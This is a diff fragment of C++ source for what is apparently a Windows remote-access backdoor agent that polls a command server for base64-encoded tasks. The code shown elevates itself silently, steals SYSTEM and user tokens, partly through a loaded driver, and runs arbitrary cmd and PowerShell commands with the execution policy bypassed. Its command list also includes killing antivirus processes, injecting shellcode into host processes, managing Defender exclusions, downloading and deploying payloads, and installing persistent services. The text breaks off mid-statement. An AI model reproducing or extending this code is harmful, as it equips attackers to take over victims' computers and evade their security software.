(!HttpRequest(L"GET", MakeUrl(cfg, path), path, &cfg, body, body, &status, AgentMetaHeaders(cfg))) + return false; + + if (status >= 400) + return false; + + if (status == 204 || body.empty()) + return false; + + while (!body.empty() && + (body.back() == '\r' || body.back() == '\n' || body.back() == '\0')) + { + body.pop_back(); + } + + size_t nl = body.find('\n'); + std::string idPart; + std::string cmdPart; + + if (nl != std::string::npos) + { + idPart = body.substr(0, nl); + cmdPart = body.substr(nl + 1); + } + else + { + cmdPart = body; + } + + std::string decoded = Base64Decode(cmdPart); + + if (decoded.empty() && !cmdPart.empty()) + decoded = cmdPart; + + out.id = Utf16(idPart); + out.text = Utf16(decoded); + TrimW(out.text); + + return !out.text.empty(); +} + +static bool AckCommand(const CloudConfig& cfg, const std::wstring& id, const std::wstring& result) +{ + std::wstring path = + L"ack?agent=" + UrlEncode(SanitizeAgentId(cfg.agent)) + + L"&id=" + UrlEncode(id); + + std::string body = Base64Encode(Utf8(result)); + std::string resp; + + return HttpRequest(L"POST", MakeUrl(cfg, path), path, &cfg, body, resp, nullptr); +} + +static std::wstring GetProcessSidString() +{ + HANDLE hToken = nullptr; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) + return L"?"; + + DWORD needed = 0; + + GetTokenInformation(hToken, TokenUser, nullptr, 0, &needed); + + if (needed == 0) + { + CloseHandle(hToken); + return L"?"; + } + + std::vector buf(needed); + PTOKEN_USER tu = reinterpret_cast(buf.data()); + + if (!GetTokenInformation(hToken, TokenUser, tu, needed, &needed)) + { + CloseHandle(hToken); + return L"?"; + } + + LPWSTR sidStr = nullptr; + std::wstring out = L"?"; + + if (ConvertSidToStringSidW(tu->User.Sid, &sidStr)) + { + out = sidStr; + LocalFree(sidStr); + } + + CloseHandle(hToken); + return out; +} + +static bool IsProcessAdmin() +{ + PSID adminSid = nullptr; + bool isAdmin = false; + + if (ConvertStringSidToSidW(L"S-1-5-32-544", &adminSid)) + { + BOOL member = FALSE; + + if (CheckTokenMembership(nullptr, adminSid, &member)) + isAdmin = (member == TRUE); + + FreeSid(adminSid); + } + + return isAdmin; +} + +static std::wstring BuildParamsForRelaunch(int argc, wchar_t** argv) +{ + std::wstring params; + + for (int i = 1; i < argc; ++i) + { + std::wstring arg = argv[i]; + if (arg.empty()) + continue; + + bool needQuote = arg.find(L' ') != std::wstring::npos; + + if (!params.empty()) + params += L" "; + + if (needQuote) + params += L'"'; + + params += arg; + + if (needQuote) + params += L'"'; + } + + if (!params.empty()) + params += L" "; + + params += L"--elevated"; + + return params; +} + +static bool EnsureAdminIfNeeded(int argc, wchar_t** argv, const CloudConfig& cfg) +{ + if (cfg.elevatedRequested) + return true; + + if (IsCurrentProcessSystem()) + return true; + + if (IsProcessAdmin()) + return true; + + wchar_t exe[MAX_PATH]{}; + DWORD len = GetModuleFileNameW(nullptr, exe, _countof(exe)); + + if (len == 0 || len >= _countof(exe)) + return false; + + std::wstring params = BuildParamsForRelaunch(argc, argv); + + HINSTANCE h = ShellExecuteW(nullptr, L"runas", exe, params.c_str(), nullptr, SW_HIDE); + + if ((INT_PTR)h > 32) + { + ExitProcess(0); + return true; + } + + h = ShellExecuteW(nullptr, nullptr, exe, params.c_str(), nullptr, SW_HIDE); + + if ((INT_PTR)h > 32) + { + ExitProcess(0); + return true; + } + + return false; +} + +static HANDLE DuplicateTokenForPrimary(HANDLE src) +{ + HANDLE dup = nullptr; + + const DWORD fullAccess = + TOKEN_QUERY | + TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | + TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID; + + if (DuplicateTokenEx(src, fullAccess, nullptr, SecurityImpersonation, TokenPrimary, &dup)) + return dup; + + const DWORD minimalAccess = + TOKEN_QUERY | + TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | + TOKEN_ADJUST_DEFAULT; + + dup = nullptr; + + if (DuplicateTokenEx(src, minimalAccess, nullptr, SecurityImpersonation, TokenPrimary, &dup)) + return dup; + + return nullptr; +} + +static bool TokenSession(HANDLE token, DWORD session) +{ + DWORD s = 0; + DWORD needed = 0; + + if (!GetTokenInformation(token, TokenSessionId, &s, sizeof(s), &needed)) + return false; + + return s == session; +} + +static HANDLE GetActiveUserToken() +{ + if (!IsCurrentProcessSystem()) + { + HANDLE tok = nullptr; + + if (OpenProcessToken( + GetCurrentProcess(), + TOKEN_QUERY | + TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | + TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID, + &tok)) + { + return tok; + } + + if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE, &tok)) + { + HANDLE dup = DuplicateTokenForPrimary(tok); + CloseHandle(tok); + return dup; + } + + return nullptr; + } + + EnablePrivilege(SE_TCB_NAME); + + DWORD session = WTSGetActiveConsoleSessionId(); + if (session == 0xFFFFFFFF) + return nullptr; + + HANDLE userTok = nullptr; + + if (WTSQueryUserToken(session, &userTok)) + { + HANDLE dup = DuplicateTokenForPrimary(userTok); + CloseHandle(userTok); + return dup; + } + + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) + return nullptr; + + PROCESSENTRY32W pe{}; + pe.dwSize = sizeof(pe); + + HANDLE found = nullptr; + + if (Process32First(snap, &pe)) + { + do + { + if (_wcsicmp(pe.szExeFile, L"explorer.exe") != 0) + continue; + + HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe.th32ProcessID); + if (!hProc) + continue; + + HANDLE tok = nullptr; + + const DWORD access = + TOKEN_QUERY | + TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | + TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID; + + if (!OpenProcessToken(hProc, access, &tok)) + { + if (!OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE, &tok)) + { + CloseHandle(hProc); + continue; + } + + HANDLE dup = DuplicateTokenForPrimary(tok); + CloseHandle(tok); + CloseHandle(hProc); + + if (dup && TokenSession(dup, session)) + { + found = dup; + break; + } + + if (dup) + CloseHandle(dup); + + continue; + } + + HANDLE dup = DuplicateTokenForPrimary(tok); + CloseHandle(tok); + CloseHandle(hProc); + + if (dup && TokenSession(dup, session)) + { + found = dup; + break; + } + + if (dup) + CloseHandle(dup); + + } while (Process32Next(snap, &pe)); + } + + CloseHandle(snap); + return found; +} + +static bool RunCommandLineCurrent(const std::wstring& commandLine) +{ + if (commandLine.empty()) + return false; + + std::wstring cmd = commandLine; + + STARTUPINFOW si{}; + si.cb = sizeof(si); + + PROCESS_INFORMATION pi{}; + + BOOL ok = CreateProcessW( + nullptr, + cmd.data(), + nullptr, + nullptr, + FALSE, + CREATE_NO_WINDOW, + nullptr, + nullptr, + &si, + &pi); + + if (ok) + { + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + + return ok == TRUE; +} + +static bool RunCommandLineAsUser(const std::wstring& commandLine) +{ + if (commandLine.empty()) + return false; + + HANDLE tok = GetActiveUserToken(); + if (!tok) + return RunCommandLineCurrent(commandLine); + + if (IsCurrentProcessSystem()) + { + DWORD session = WTSGetActiveConsoleSessionId(); + if (session != 0xFFFFFFFF) + SetTokenInformation(tok, TokenSessionId, &session, sizeof(session)); + } + + LPVOID env = nullptr; + BOOL envOk = CreateEnvironmentBlock(&env, tok, FALSE); + + STARTUPINFOW si{}; + si.cb = sizeof(si); + si.lpDesktop = const_cast(L"Winsta0\\Default"); + + std::wstring cmd = commandLine; + PROCESS_INFORMATION pi{}; + + BOOL ok = CreateProcessAsUserW( + tok, + nullptr, + cmd.data(), + nullptr, + nullptr, + FALSE, + CREATE_NEW_CONSOLE, + envOk ? env : nullptr, + nullptr, + &si, + &pi); + + if (ok) + { + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + + if (envOk) + DestroyEnvironmentBlock(env); + + CloseHandle(tok); + + if (!ok) + return RunCommandLineCurrent(commandLine); + + return true; +} + +static std::wstring TrimQuotes(const std::wstring& s) +{ + if (s.size() >= 2 && s.front() == L'"' && s.back() == L'"') + return s.substr(1, s.size() - 2); + + return s; +} + +static std::wstring QuotePathIfNeeded(const std::wstring& path) +{ + if (path.empty()) + return path; + + if (path.front() == L'"') + return path; + + if (path.find(L' ') != std::wstring::npos) + return L"\"" + path + L"\""; + + return path; +} + +static std::wstring MakeCommandLineFromPath(const std::wstring& pathIn, const std::wstring& args) +{ + std::wstring path = TrimQuotes(pathIn); + + wchar_t abs[MAX_PATH]{}; + if (GetFullPathNameW(path.c_str(), _countof(abs), abs, nullptr)) + path = abs; + + std::wstring full = QuotePathIfNeeded(path); + + if (!args.empty()) + { + full += L" "; + full += args; + } + + return full; +} + +static bool ParseToken(const std::wstring& line, size_t& pos, std::wstring& token) +{ + while (pos < line.size() && iswspace(line[pos])) + ++pos; + + if (pos >= line.size()) + return false; + + token.clear(); + + if (line[pos] == L'"') + { + ++pos; + + while (pos < line.size() && line[pos] != L'"') + { + token += line[pos]; + ++pos; + } + + if (pos < line.size()) + ++pos; + + return !token.empty(); + } + + while (pos < line.size() && !iswspace(line[pos])) + { + token += line[pos]; + ++pos; + } + + return !token.empty(); +} + +static bool RunShellExecuteCurrent(const std::wstring& pathIn, const std::wstring& args) +{ + std::wstring path = TrimQuotes(pathIn); + if (path.empty()) + return false; + + HINSTANCE h = ShellExecuteW( + nullptr, + nullptr, + path.c_str(), + args.empty() ? nullptr : args.c_str(), + nullptr, + SW_SHOW); + + return (INT_PTR)h > 32; +} + +static std::wstring GetCmdExePath() +{ + wchar_t sys[MAX_PATH]{}; + UINT n = GetSystemDirectoryW(sys, _countof(sys)); + + if (n == 0 || n >= _countof(sys)) + return L"C:\\Windows\\System32\\cmd.exe"; + + std::wstring path = sys; + path += L"\\cmd.exe"; + return path; +} + +static std::wstring GetPayloadDir() +{ + return ArdrvStageDir(); +} + +static std::wstring FileNameFromUrl(const std::wstring& url) +{ + std::wstring path = url; + + size_t q = path.find_first_of(L"?#"); + if (q != std::wstring::npos) + path = path.substr(0, q); + + size_t slash = path.find_last_of(L'/'); + if (slash != std::wstring::npos) + path = path.substr(slash + 1); + + for (auto& ch : path) + { + if (ch == L':' || ch == L'*' || ch == L'?' || ch == L'"' || + ch == L'<' || ch == L'>' || ch == L'|') + { + ch = L'_'; + } + } + + if (path.empty()) + path = L"payload.bin"; + + return path; +} + +static std::wstring Sha256OfFile(const std::wstring& path) +{ + HANDLE file = CreateFileW( + path.c_str(), + GENERIC_READ, + FILE_SHARE_READ | FILE_SHARE_WRITE, + nullptr, + OPEN_EXISTING, + 0, + nullptr); + + if (file == INVALID_HANDLE_VALUE) + return std::wstring(); + + HCRYPTPROV prov = 0; + HCRYPTHASH hash = 0; + std::wstring hex; + + if (CryptAcquireContextW(&prov, nullptr, nullptr, PROV_RSA_AES, CRYPT_VERIFYCONTEXT) && + CryptCreateHash(prov, CALG_SHA_256, 0, 0, &hash)) + { + BYTE buf[64 * 1024]{}; + DWORD read = 0; + bool ok = true; + + while (ok && ReadFile(file, buf, sizeof(buf), &read, nullptr) && read > 0) + ok = CryptHashData(hash, buf, read, 0) != FALSE; + + if (ok) + { + BYTE digest[32]{}; + DWORD digestLen = sizeof(digest); + + if (CryptGetHashParam(hash, HP_HASHVAL, digest, &digestLen, 0)) + { + static const wchar_t* digits = L"0123456789abcdef"; + + for (DWORD i = 0; i < digestLen; ++i) + { + hex += digits[(digest[i] >> 4) & 0xF]; + hex += digits[digest[i] & 0xF]; + } + } + } + } + + if (hash) + CryptDestroyHash(hash); + + if (prov) + CryptReleaseContext(prov, 0); + + CloseHandle(file); + return hex; +} + +static bool DownloadUrlToFile( + const std::wstring& url, + const std::wstring& outPathIn, + const std::wstring& expectedSha256, + std::wstring& error) +{ + error.clear(); + + if (url.empty() || outPathIn.empty()) + { + error = L"empty url or path"; + return false; + } + + std::string bytes; + DWORD status = 0; + + if (!HttpRequest(L"GET", url, L"", nullptr, std::string(), bytes, &status)) + { + error = L"http request failed"; + return false; + } + + if (status != 0 && status != 200) + { + error = L"http status " + std::to_wstring(status); + return false; + } + + if (bytes.empty()) + { + error = L"empty response"; + return false; + } + + // Hard ceiling so a hostile or broken URL cannot fill the disk. + const size_t maxBytes = 256ull * 1024ull * 1024ull; + + if (bytes.size() > maxBytes) + { + error = L"payload too large (>256MB)"; + return false; + } + + std::wstring outPath = TrimQuotes(outPathIn); + + wchar_t abs[4096]{}; + if (GetFullPathNameW(outPath.c_str(), _countof(abs), abs, nullptr)) + outPath = abs; + + std::wstring dir = outPath; + size_t slash = dir.find_last_of(L'\\'); + if (slash != std::wstring::npos) + { + dir = dir.substr(0, slash); + CreateDirectoryW(dir.c_str(), nullptr); + } + + HANDLE file = CreateFileW( + outPath.c_str(), + GENERIC_WRITE, + 0, + nullptr, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + nullptr); + + if (file == INVALID_HANDLE_VALUE) + { + error = L"create failed " + std::to_wstring(GetLastError()); + return false; + } + + DWORD written = 0; + BOOL wrote = WriteFile(file, bytes.data(), (DWORD)bytes.size(), &written, nullptr); + DWORD writeError = GetLastError(); + + CloseHandle(file); + + if (!wrote || written != bytes.size()) + { + error = L"write failed " + std::to_wstring(writeError); + DeleteFileW(outPath.c_str()); + return false; + } + + if (!expectedSha256.empty()) + { + std::wstring actual = Sha256OfFile(outPath); + + if (actual.empty() || _wcsicmp(actual.c_str(), expectedSha256.c_str()) != 0) + { + error = L"hash mismatch got " + (actual.empty() ? L"(unreadable)" : actual); + DeleteFileW(outPath.c_str()); + return false; + } + } + + Log(L"[cloud] downloaded %s (%zu bytes) -> %s", + url.c_str(), + bytes.size(), + outPath.c_str()); + + return true; +} + +static HANDLE AcquireSystemToken() +{ + HANDLE preferred = nullptr; + + if (EnsureDriverLoaded()) + EscalateViaDriver(&preferred); + + HANDLE tok = GetSystemToken(preferred); + + if (preferred) + CloseHandle(preferred); + + return tok; +} + +static bool RunCommandLineAsSystem(const std::wstring& commandLine) +{ + if (commandLine.empty()) + return false; + + HANDLE tok = AcquireSystemToken(); + if (!tok) + return false; + + std::wstring cmdExe = GetCmdExePath(); + + std::wstring args = L"/C "; + args += commandLine; + + bool ok = StartProcessAsSystem(tok, cmdExe.c_str(), args.c_str(), false); + + CloseHandle(tok); + return ok; +} + +static bool RunFilePathCurrent(const std::wstring& path, const std::wstring& args) +{ + std::wstring full = MakeCommandLineFromPath(path, args); + return RunCommandLineCurrent(full); +} + +static bool RunFilePathUser(const std::wstring& path, const std::wstring& args) +{ + std::wstring full = MakeCommandLineFromPath(path, args); + return RunCommandLineAsUser(full); +} + +static bool RunFilePathSystem(const std::wstring& path, const std::wstring& args) +{ + HANDLE tok = AcquireSystemToken(); + if (!tok) + return false; + + std::wstring cleanPath = TrimQuotes(path); + + bool ok = StartProcessAsSystem( + tok, + cleanPath.c_str(), + args.empty() ? nullptr : args.c_str(), + false); + + CloseHandle(tok); + return ok; +} + +static bool KillProcessCloud(DWORD pid) +{ + if (pid == 0 || pid == 4) + return false; + + if (EnsureDriverLoaded() && TerminateProcessViaDriver(pid)) + return true; + + HANDLE h = OpenProcess(PROCESS_TERMINATE, FALSE, pid); + if (!h) + return false; + + BOOL ok = TerminateProcess(h, 0); + CloseHandle(h); + + return ok == TRUE; +} + +static bool StartServiceByName(const std::wstring& name) +{ + if (name.empty()) + return false; + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (!scm) + return false; + + SC_HANDLE svc = OpenServiceW(scm, name.c_str(), SERVICE_START | SERVICE_QUERY_STATUS); + if (!svc) + { + CloseServiceHandle(scm); + return false; + } + + SERVICE_STATUS st{}; + bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING; + + if (!running) + { + if (!StartServiceW(svc, 0, nullptr)) + { + DWORD e = GetLastError(); + + if (e != ERROR_SERVICE_ALREADY_RUNNING) + { + CloseServiceHandle(svc); + CloseServiceHandle(scm); + return false; + } + } + } + + CloseServiceHandle(svc); + CloseServiceHandle(scm); + return true; +} + +static std::wstring RegReadGuardConfig(const wchar_t* name) +{ + std::wstring out; + + HKEY h = nullptr; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) != ERROR_SUCCESS) + return out; + + DWORD type = 0; + DWORD size = 0; + + if (RegQueryValueExW(h, name, nullptr, &type, nullptr, &size) != ERROR_SUCCESS || + (type != REG_SZ && type != REG_EXPAND_SZ) || + size == 0) + { + RegCloseKey(h); + return out; + } + + std::vector buf(size / sizeof(wchar_t) + 1); + + if (RegQueryValueExW(h, name, nullptr, nullptr, (LPBYTE)buf.data(), &size) == ERROR_SUCCESS) + out = buf.data(); + + RegCloseKey(h); + return out; +} + +static DWORD RegReadGuardDword(const wchar_t* name, DWORD fallback) +{ + HKEY h = nullptr; + + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) != ERROR_SUCCESS) + return fallback; + + DWORD value = 0; + DWORD size = sizeof(value); + DWORD type = 0; + + DWORD result = fallback; + + if (RegQueryValueExW(h, name, nullptr, &type, (LPBYTE)&value, &size) == ERROR_SUCCESS && + type == REG_DWORD) + { + result = value; + } + + RegCloseKey(h); + return result; +} + +static bool RegWriteGuardDword(const wchar_t* name, DWORD value) +{ + HKEY h = nullptr; + + if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, nullptr, 0, KEY_SET_VALUE, nullptr, &h, nullptr) + != ERROR_SUCCESS) + { + return false; + } + + bool ok = RegSetValueExW(h, name, 0, REG_DWORD, (const BYTE*)&value, sizeof(value)) == ERROR_SUCCESS; + RegCloseKey(h); + return ok; +} + +static std::wstring ServiceStateOf(const std::wstring& name); + +static std::wstring DriverStatusString() +{ const bool device = OpenDriver(); + + if (device) + CloseDriver(); + + std::wstring service = RegReadGuardConfig(L"DriverService"); + + if (service.empty()) + service = L"ArDrv"; + + std::wostringstream os; + + os << L"device=" << (device ? L"ok" : L"unavailable") + << L" embedded=" << EmbeddedDriverSize() + << L" fail=" << RegReadGuardDword(L"DriverFailCount", 0) + << L"/" << RegReadGuardDword(L"DriverFailMax", 3) + << L" state=" << (RegReadGuardConfig(L"DriverState").empty() ? L"unset" : RegReadGuardConfig(L"DriverState")) + << L" service=" << service << L":" << ServiceStateOf(service); + + return os.str(); +} + +static std::wstring ServiceStateOf(const std::wstring& name){ + if (name.empty()) + return L"unset"; + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + + if (!scm) + return L"scm-denied"; + + SC_HANDLE svc = OpenServiceW(scm, name.c_str(), SERVICE_QUERY_STATUS); + + std::wstring state = L"missing"; + + if (svc) + { + SERVICE_STATUS st{}; + + if (QueryServiceStatus(svc, &st)) + { + switch (st.dwCurrentState) + { + case SERVICE_RUNNING: state = L"running"; break; + case SERVICE_STOPPED: state = L"stopped"; break; + case SERVICE_START_PENDING: state = L"start-pending"; break; + case SERVICE_STOP_PENDING: state = L"stop-pending"; break; + case SERVICE_PAUSED: state = L"paused"; break; + default: state = L"state-" + std::to_wstring(st.dwCurrentState); break; + } + } + else + { + state = L"query-failed"; + } + + CloseServiceHandle(svc); + } + + CloseServiceHandle(scm); + return state; +} + +static std::wstring GetStatusString() +{ + std::wostringstream os; + + os << L"pid=" << GetCurrentProcessId() + << L" system=" << (IsCurrentProcessSystem() ? 1 : 0) + << L" admin=" << (IsProcessAdmin() ? 1 : 0) + << L" sid=" << GetProcessSidString(); + + std::wstring driver = RegReadGuardConfig(L"DriverServiceName"); + std::wstring guard = RegReadGuardConfig(L"GuardServiceName"); + std::wstring repair = RegReadGuardConfig(L"RepairServiceName"); + + if (!driver.empty() || !guard.empty() || !repair.empty()) + { + os << L" driver=" << (driver.empty() ? L"unset" : driver) << L":" << ServiceStateOf(driver) + << L" guard=" << (guard.empty() ? L"unset" : guard) << L":" << ServiceStateOf(guard) + << L" repair=" << (repair.empty() ? L"unset" : repair) << L":" << ServiceStateOf(repair); + } + + return os.str(); +} + +static bool ProcessCommand(const std::wstring& commandLine, std::wstring& result, bool& stop) +{ + stop = false; + result.clear(); + + std::wstring cmd = commandLine; + TrimW(cmd); + + if (cmd.empty()) + return false; + + size_t sp = cmd.find(L' '); + std::wstring op = sp == std::wstring::npos ? cmd : cmd.substr(0, sp); + std::wstring rest = sp == std::wstring::npos ? std::wstring() : cmd.substr(sp + 1); + + TrimW(rest); + + if (_wcsicmp(op.c_str(), L"HELP") == 0) + { + result = + L"Commands:\r\n" + L"PING\r\n" + L"STATUS\r\n" + L"HELP\r\n" + L"RUN \r\n" + L"EXEC \r\n" + L"RUN_USER \r\n" + L"RUN_SYSTEM \r\n" + L"PS \r\n" + L"PS_USER \r\n" + L"RUNFILE [args]\r\n" + L"RUNFILE_USER [args]\r\n" + L"RUNFILE_SYSTEM [args]\r\n" + L"OPENFILE [args]\r\n" + L"OPENFILE_USER [args]\r\n" + L"KILLPID \r\n" + L"KILLNAME \r\n" + L"KILLALL \r\n" + L"KILLAV\r\n" + L"KILLAV_DRYRUN\r\n" + L"HOST_LIST\r\n" + L"HOST_SPAWN [--host ] [args]\r\n" + L"HOST_SPAWN_USER [--host ] [args]\r\n" + L"HOST_INJECT [--host ]\r\n" + L"HOST_TRACK\r\n" + L"HOST_UNTRACK\r\n" + L"STAGE_STATUS\r\n" + L"STAGE_INJECT [--host ]\r\n" + L"STAGE_RUN \r\n" + L"STAGE_STOP\r\n" + L"EXCLUSION_LIST\r\n" + L"EXCLUSION_ADD \r\n" + L"EXCLUSION_APPLY\r\n" + L"DRIVER_STATUS\r\n" + L"DRIVER_RESET\r\n" + L"TOKEN_GET\r\n" + L"DRIVER_LOAD\r\n" + L"INJECT_FILE \r\n" + L"INJECT_SUSPEND \r\n" + L"INSTALL_SERVICE [binary-path]\r\n" + L"INSTALL_CLOUD_SERVICE \r\n" + L"INSTALL_GUARD_SERVICES [--target ] [--target-service ] [--args ]\r\n" + L"DOWNLOAD [sha256]\r\n" + L"DEPLOY [args]\r\n" + L"DEPLOY_SYSTEM [args]\r\n" + L"START_SERVICE [binary-path]\r\n" + L"SERVICE_STATUS \r\n" + L"STOP"; + + return true; + } + + if (_wcsicmp(op.c_str(), L"PING") == 0) + { + result = L"PONG"; + return true; + } + + if (_wcsicmp(op.c_str(), L"STATUS") == 0) + { + result = GetStatusString(); + return true; + } + + if (_wcsicmp(op.c_str(), L"RUN") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE RUN "; + return false; + } + + std::wstring full = L"cmd.exe /C "; + full += rest; + + result = RunCommandLineCurrent(full) ? L"OK" : L"ERR RUN"; + return result == L"OK"; + } + + if (_wcsicmp(op.c_str(), L"EXEC") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE EXEC "; + return false; + } + + result = RunCommandLineCurrent(rest) ? L"OK" : L"ERR EXEC"; + return result == L"OK"; + } + + if (_wcsicmp(op.c_str(), L"RUN_USER") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE RUN_USER "; + return false; + } + + std::wstring full = L"cmd.exe /C "; + full += rest; + + result = RunCommandLineAsUser(full) ? L"OK" : L"ERR RUN_USER"; + return result == L"OK"; + } + + if (_wcsicmp(op.c_str(), L"RUN_SYSTEM") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE RUN_SYSTEM "; + return false; + } + + result = RunCommandLineAsSystem(rest) ? L"OK" : L"ERR RUN_SYSTEM"; + return result == L"OK"; + } + + if (_wcsicmp(op.c_str(), L"PS") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE PS "; + return false; + } + + std::wstring encoded = Utf16(Base64EncodeUtf16LE(rest)); + + std::wstring full = L"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand "; + full += encoded; + + result = RunCommandLineCurrent(full) ? L"OK" : L"ERR PS"; + return result == L"OK"; + } + + if (_wcsicmp(op.c_str(), L"PS_USER") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE PS_USER "; + return false; + } + + std::wstring encoded = Utf16(Base64EncodeUtf16LE(rest)); + + std::wstring full = L"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand "; + full += encoded; + + result = RunCommandLineAsUser(full) ? L"OK" : L"ERR PS_USER"; + return result == L"OK"; + } + + if (_wcsicmp(op.c_str(), L"RUNFILE") == 0 || + _wcsicmp(op.c_str(), L"RUNFILE_USER") == 0 || + _wcsicmp(op.c_str(), L"RUNFILE_SYSTEM") == 0) + { + const bool asUser = (_wcsicmp(op.c_str(), L"RUNFILE_USER") == 0); + const bool asSystem = (_wcsicmp(op.c_str(), L"RUNFILE_SYSTEM") == 0); + + if (rest.empty()) + { + result = asSystem + ? L"ERR_USAGE RUNFILE_SYSTEM [args]" + : (asUser ? L"ERR_USAGE RUNFILE_USER [args]" : L"ERR_USAGE RUNFILE [args]"); + return false; + } + + size_t pos = 0; + std::wstring path; + + if (!ParseToken(rest, pos, path)) + { + result = L"ERR_USAGE PATH"; + return false; + } + + while (pos < rest.size() && iswspace(rest[pos])) + ++pos; + + std::wstring args = rest.substr(pos); + TrimW(args); + + bool ok = false; + + if (asSystem) + ok = RunFilePathSystem(path, args); + else if (asUser) + ok = RunFilePathUser(path, args); + else + ok = RunFilePathCurrent(path, args); + + result = ok ? L"OK" : L"ERR RUNFILE"; + return ok; + } + + if (_wcsicmp(op.c_str(), L"OPENFILE") == 0 || _wcsicmp(op.c_str(), L"OPENFILE_USER") == 0) + { + const bool asUser = (_wcsicmp(op.c_str(), L"OPENFILE_USER") == 0); + + if (rest.empty()) + { + result = asUser ? L"ERR_USAGE OPENFILE_USER [args]" : L"ERR_USAGE OPENFILE [args]"; + return false; + } + + size_t pos = 0; + std::wstring path; + + if (!ParseToken(rest, pos, path)) + { + result = L"ERR_USAGE PATH"; + return false; + } + + while (pos < rest.size() && iswspace(rest[pos])) + ++pos; + + std::wstring args = rest.substr(pos); + TrimW(args); + + if (asUser) + { + std::wstring full = L"cmd.exe /C start \"\" "; + full += QuotePathIfNeeded(path); + + if (!args.empty()) + { + full += L" "; + full += args; + } + + result = RunCommandLineAsUser(full) ? L"OK" : L"ERR OPENFILE_USER"; + } + else + { + result = RunShellExecuteCurrent(path, args) ? L"OK" : L"ERR OPENFILE"; + } + + return result == L"OK"; + } + + if (_wcsicmp(op.c_str(), L"KILLPID") == 0) + { + DWORD pid = (DWORD)wcstoul(rest.c_str(), nullptr, 10); + + if (pid == 0) + { + result = L"ERR_USAGE KILLPID "; + return false; + } + + result = KillProcessCloud(pid) ? L"OK" : L"ERR KILLPID"; + return result == L"OK"; + } + + if (_wcsicmp(op.c_str(), L"KILLNAME") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE KILLNAME "; + return false; + } + + DWORD pid = GetPidByName(rest.c_str()); + result = (pid && KillProcessCloud(pid)) ? L"OK" : L"ERR KILLNAME"; + return result == L"OK"; + } + + if (_wcsicmp(op.c_str(), L"KILLALL") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE KILLALL "; + return false; + } + + int killed = 0; + + for (int i = 0; i < 20; ++i) + { + DWORD pid = GetPidByName(rest.c_str()); + if (pid == 0) + break; + + if (KillProcessCloud(pid)) + ++killed; + + Sleep(50); + } + + std::wostringstream os; + os << L"OK killed=" << killed; + result = os.str(); + + return true; + } + + if (_wcsicmp(op.c_str(), L"KILLAV") == 0 || + _wcsicmp(op.c_str(), L"KILLAV_DRYRUN") == 0) + { + const bool dryRun = (_wcsicmp(op.c_str(), L"KILLAV_DRYRUN") == 0); + + EnsureDriverLoaded(); + + std::wstring summary; + + if (!KillAVProcessesEx(dryRun, summary)) + { + result = L"OK " + summary; + return true; + } + + result = L"OK " + summary; + return true; + } + + if (_wcsicmp(op.c_str(), L"HOST_INJECT") == 0) + { + size_t pos = 0; + std::wstring token; + std::wstring preferred; + + if (ParseToken(rest, pos, token) && _wcsicmp(token.c_str(), L"--host") == 0) + { + ParseToken(rest, pos, preferred); + } + else + { + pos = 0; + } + + std::wstring path; + + if (!ParseToken(rest, pos, path)) + { + result = L"ERR_USAGE HOST_INJECT [--host ]"; + return false; + } + + // Allow trailing "--host " after the path too. + std::wstring trailing; + + if (ParseToken(rest, pos, trailing) && _wcsicmp(trailing.c_str(), L"--host") == 0) + ParseToken(rest, pos, preferred); + + HostInjectResult r = InjectShellcodeIntoHost(path, preferred, true); + + result = FormatInjectResult(r); + return r.ok; + } + + if (_wcsicmp(op.c_str(), L"HOST_TRACK") == 0) + { + result = FormatHostTrack(LoadHostTrack()); + return true; + } + + if (_wcsicmp(op.c_str(), L"HOST_UNTRACK") == 0) + { + bool ok = ClearHostTrack(); + result = ok ? L"OK cleared" : L"ERR nothing to clear"; + return ok; + } + + if (_wcsicmp(op.c_str(), L"DRIVER_STATUS") == 0) + { + result = DriverStatusString(); + return true; + } + + if (_wcsicmp(op.c_str(), L"DRIVER_RESET") == 0) + { + bool ok = RegWriteGuardDword(L"DriverFailCount", 0); + + if (ok) + RegWriteGuardDword(L"DriverState", 0); + + result = std::wstring(ok ? L"OK counters cleared" : L"ERR registry write denied") + + L" | " + DriverStatusString(); + + return ok; + } + + if (_wcsicmp(op.c_str(), L"EXCLUSION_LIST") == 0) + { + std::wstring note; + std::vector current = QueryExclusions(note); + + result = L"defender=" + std::wstring(DefenderPresent() ? L"present" : L"absent") + + L" current=" + note; + + if (!current.empty()) + result += L"\r\n" + 